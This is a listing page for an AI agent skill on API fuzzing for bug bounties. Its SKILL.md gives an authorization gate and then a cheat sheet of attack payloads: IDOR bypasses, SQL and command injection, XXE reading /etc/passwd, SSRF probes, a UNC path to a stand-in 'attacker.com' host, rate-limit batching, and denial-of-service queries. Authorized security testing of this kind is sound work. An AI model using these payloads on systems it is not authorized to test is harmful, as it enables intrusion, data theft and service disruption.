api-fuzzing-bug-bounty

Q: How do I install api-fuzzing-bug-bounty?

Run npx skills add https://github.com/sickn33/agentic-awesome-skills --skill api-fuzzing-bug-bounty in your project. The skills CLI detects the agents you use and copies the skill into the right folder. For Claude Code you can also place the skill folder at ~/.claude/skills/api-fuzzing-bug-bounty/ (personal) or .claude/skills/api-fuzzing-bug-bounty/ (project).

by sickn33Backend & APIs

Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.

Installs: 665
Last 24h: —
Trending rank: —
Security: Not audited

Install

Works with every agent the skills CLI supports.

npx skills add https://github.com/sickn33/agentic-awesome-skills --skill api-fuzzing-bug-bounty

01
Install
Run the command in your project. The CLI asks which agents to install for.
02
Describe the task
Ask your agent for something this skill covers. It loads api-fuzzing-bug-bounty automatically when relevant.
03
Review the result
The agent follows the SKILL.md steps, scripts and references bundled with the skill.

SKILL.md

The instructions your agent reads when the skill is triggered.

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

Ask the user to state the exact target URL, IP, account, or resource.

Ask the user to confirm written authorization and the permitted scope.

Show the exact command(s) and explain their expected effect.

Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.

API Fuzzing for Bug Bounty

Purpose

Inputs/Prerequisites

Burp Suite or similar proxy tool
API wordlists (SecLists, api_wordlist)
Understanding of REST/GraphQL/SOAP protocols
Python for scripting
Target API endpoints and documentation (if available)

Outputs/Deliverables

Identified API vulnerabilities
IDOR exploitation proofs
Authentication bypass techniques
SQL injection points
Unauthorized data access documentation

API Types Overview

Type	Protocol	Data Format	Structure
SOAP	HTTP	XML	Header + Body
REST	HTTP	JSON/XML/URL	Defined endpoints
GraphQL	HTTP	Custom Query	Single endpoint

Core Workflow

Use controlled test accounts/tenants and read-only canary resources. Scope rate, concurrency, duration, write/delete methods, SSRF destinations and any callback endpoint in the rules of engagement. DoS/deep recursion, credential attacks and destructive method tests require explicit separate approval and a disposable lab where possible. Stop on rate limits or unexpected access to real personal data; never evade limits through IP rotation. Payloads below are hypotheses, not proof of a vulnerability or a mandate to try every technique.

Step 1: API Reconnaissance

Identify API type and enumerate endpoints:

# Check for Swagger/OpenAPI documentation
/swagger.json
/openapi.json
/api-docs
/v1/api-docs
/swagger-ui.html

# Use Kiterunner for API discovery
kr scan https://target.com -w routes-large.kite

# Extract paths from Swagger
python3 json2paths.py swagger.json

Step 2: Authentication Testing

# Test different login paths
/api/mobile/login
/api/v3/login
/api/magic_link
/api/admin/login

# Check rate limiting on auth endpoints
# If no rate limit → brute force possible

# Test mobile vs web API separately
# Don't assume same security controls

Step 3: IDOR Testing

Insecure Direct Object Reference is the most common API vulnerability:

# Basic IDOR
GET /api/users/1234 → GET /api/users/1235

# Even if ID is email-based, try numeric
/?user_id=111 instead of /?user_id=user@mail.com

# Test /me/orders vs /user/654321/orders

IDOR Bypass Techniques:

# Wrap ID in array
{"id":111} → {"id":[111]}

# JSON wrap
{"id":111} → {"id":{"id":111}}

# Send ID twice
URL?id=<LEGIT>&id=<VICTIM>

# Wildcard injection
{"user_id":"*"}

# Parameter pollution
/api/get_profile?user_id=<victim>&user_id=<legit>
{"user_id":<legit_id>,"user_id":<victim_id>}

Step 4: Injection Testing

SQL Injection in JSON:

{"id":"56456"}                    → OK
{"id":"56456 AND 1=1#"}           → OK  
{"id":"56456 AND 1=2#"}           → OK
{"id":"56456 AND 1=3#"}           → Observe response; an error alone proves nothing
{"id":"56456 AND sleep(15)#"}     → SLEEP 15 SEC

Command Injection:

# Ruby on Rails
?url=Kernel#open → ?url=|ls

# Linux command injection
api.url.com/endpoint?name=file.txt;ls%20/

XXE Injection:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

SSRF via API:

<object data="http://127.0.0.1:8443"/>
<img src="http://127.0.0.1:445"/>

.NET Path.Combine Vulnerability:

# If .NET app uses Path.Combine(path_1, path_2)
# Test for path traversal
https://example.org/download?filename=a.png
https://example.org/download?filename=C:\inetpub\wwwroot\web.config
https://example.org/download?filename=\\smb.dns.attacker.com\a.png

Step 5: Method Testing

# Test all HTTP methods
GET /api/v1/users/1
POST /api/v1/users/1
PUT /api/v1/users/1
DELETE /api/v1/users/1
PATCH /api/v1/users/1

# Switch content type
Content-Type: application/json → application/xml

GraphQL-Specific Testing

Introspection Query

Fetch entire backend schema:

{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}

URL-encoded version:

/graphql?query={__schema{types{name,kind,description,fields{name}}}}

GraphQL IDOR

# Try accessing other user IDs
query {
  user(id: "OTHER_USER_ID") {
    id  # Controlled canary record only; do not request real passwords/payment data
  }
}

GraphQL SQL/NoSQL Injection

mutation {
  login(input: {
    email: "test' or 1=1--"
    password: "password"
  }) {
    success
    jwt
  }
}

Rate Limit Bypass (Batching)

mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"c@example.com" password:"password"}){success jwt}}

GraphQL DoS (Nested Queries)

query {
  posts {
    comments {
      user {
        posts {
          comments {
            user {
              posts { ... }
            }
          }
        }
      }
    }
  }
}

GraphQL XSS

# XSS via GraphQL endpoint
http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}

# URL-encoded XSS
http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E

GraphQL Tools

Tool	Purpose
GraphCrawler	Schema discovery
graphw00f	Fingerprinting
clairvoyance	Schema reconstruction
InQL	Burp extension
GraphQLmap	Exploitation

Endpoint Bypass Techniques

When receiving 403/401, try these bypasses:

# Original blocked request
/api/v1/users/sensitivedata → 403

# Bypass attempts
/api/v1/users/sensitivedata.json
/api/v1/users/sensitivedata?
/api/v1/users/sensitivedata/
/api/v1/users/sensitivedata??
/api/v1/users/sensitivedata%20
/api/v1/users/sensitivedata%09
/api/v1/users/sensitivedata#
/api/v1/users/sensitivedata&details
/api/v1/users/..;/sensitivedata

Output Exploitation

PDF Export Attacks

<!-- LFI via PDF export -->
<iframe src="file:///etc/passwd" height=1000 width=800>

<!-- SSRF via PDF export -->
<object data="http://127.0.0.1:8443"/>

<!-- Port scanning -->
<img src="http://127.0.0.1:445"/>

<!-- IP disclosure -->
<img src="https://iplogger.com/yourcode.gif"/>

DoS via Limits

# Normal request
/api/news?limit=100

# DoS attempt
/api/news?limit=9999999999

Common API Vulnerabilities Checklist

Vulnerability	Description
API Exposure	Unprotected endpoints exposed publicly
Misconfigured Caching	Sensitive data cached incorrectly
Exposed Tokens	API keys/tokens in responses or URLs
JWT Weaknesses	Weak signing, no expiration, algorithm confusion
IDOR / BOLA	Broken Object Level Authorization
Undocumented Endpoints	Hidden admin/debug endpoints
Different Versions	Security gaps in older API versions
Rate Limiting	Missing or bypassable rate limits
Race Conditions	TOCTOU vulnerabilities
XXE Injection	XML parser exploitation
Content Type Issues	Switching between JSON/XML
HTTP Method Tampering	GET→DELETE/PUT abuse

Quick Reference

Vulnerability	Test Payload	Risk
IDOR	Change user_id parameter	High
SQLi	`' OR 1=1--` in JSON	Critical
Command Injection	`; ls /`	Critical
XXE	DOCTYPE with ENTITY	High
SSRF	Internal IP in params	High
Rate Limit Bypass	Batch requests	Medium
Method Tampering	GET→DELETE	High

Tools Reference

Category	Tool	URL
API Fuzzing	Fuzzapi	github.com/Fuzzapi/fuzzapi
API Fuzzing	API-fuzzer	github.com/Fuzzapi/API-fuzzer
API Fuzzing	Astra	github.com/flipkart-incubator/Astra
API Security	apicheck	github.com/BBVA/apicheck
API Discovery	Kiterunner	github.com/assetnote/kiterunner
API Discovery	openapi_security_scanner	github.com/ngalongc/openapi_security_scanner
API Toolkit	APIKit	github.com/API-Security/APIKit
API Keys	API Guesser	api-guesser.netlify.app
GUID	GUID Guesser	gist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18
GraphQL	InQL	github.com/doyensec/inql
GraphQL	GraphCrawler	github.com/gsmith257-cyber/GraphCrawler
GraphQL	graphw00f	github.com/dolevf/graphw00f
GraphQL	clairvoyance	github.com/nikitastupin/clairvoyance
GraphQL	batchql	github.com/assetnote/batchql
GraphQL	graphql-cop	github.com/dolevf/graphql-cop
Wordlists	SecLists	github.com/danielmiessler/SecLists
Swagger Parser	Swagger-EZ	rhinosecuritylabs.github.io/Swagger-EZ
Swagger Routes	swagroutes	github.com/amalmurali47/swagroutes
API Mindmap	MindAPI	dsopas.github.io/MindAPI/play
JSON Paths	json2paths	github.com/s0md3v/dump/tree/master/json2paths

Constraints

Must:

Test mobile, web, and developer APIs separately
Check all API versions (/v1, /v2, /v3)
Validate both authenticated and unauthenticated access

Must Not:

Assume same security controls across API versions
Skip testing undocumented endpoints
Ignore rate limiting checks

Should:

Add X-Requested-With: XMLHttpRequest header to simulate frontend
Check archive.org for historical API endpoints
Test for race conditions on sensitive operations

Examples

Example 1: IDOR Exploitation

# Original request (own data)
GET /api/v1/invoices/12345
Authorization: Bearer <token>

# Modified request (other user's data)
GET /api/v1/invoices/12346
Authorization: Bearer <token>

# Response reveals other user's invoice data

Example 2: GraphQL Introspection

curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name,fields{name}}}}"}'

Troubleshooting

Issue	Solution
API returns nothing	Add `X-Requested-With: XMLHttpRequest` header
401 on all endpoints	Verify authorized test credentials/scope first; do not assume a user_id parameter repairs authentication
GraphQL introspection disabled	Use clairvoyance for schema reconstruction
Rate limited	Stop/back off, preserve the response and respect the approved rate; do not bypass it
Can't find endpoints	Check Swagger, archive.org, JS files

When to Use

This skill is applicable to execute the workflow or actions described in the overview.

FAQ

What does the api-fuzzing-bug-bounty skill do?

How do I install api-fuzzing-bug-bounty?

Run npx skills add https://github.com/sickn33/agentic-awesome-skills --skill api-fuzzing-bug-bounty in your project. The skills CLI detects the agents you use and copies the skill into the right folder. For Claude Code you can also place the skill folder at ~/.claude/skills/api-fuzzing-bug-bounty/ (personal) or .claude/skills/api-fuzzing-bug-bounty/ (project).

Which AI agents can use api-fuzzing-bug-bounty?

Any agent that supports the open Agent Skills format (a folder with a SKILL.md file), including Claude Code, Codex, Cursor, GitHub Copilot, Gemini CLI, Windsurf, Cline, OpenCode and more.

Is api-fuzzing-bug-bounty safe to install?

No partner security audit is available yet. Skills can run commands and scripts, so read the SKILL.md and any bundled files before installing.

Who maintains api-fuzzing-bug-bounty?

It is published by sickn33 in sickn33/agentic-awesome-skills. It has 665 recorded installs.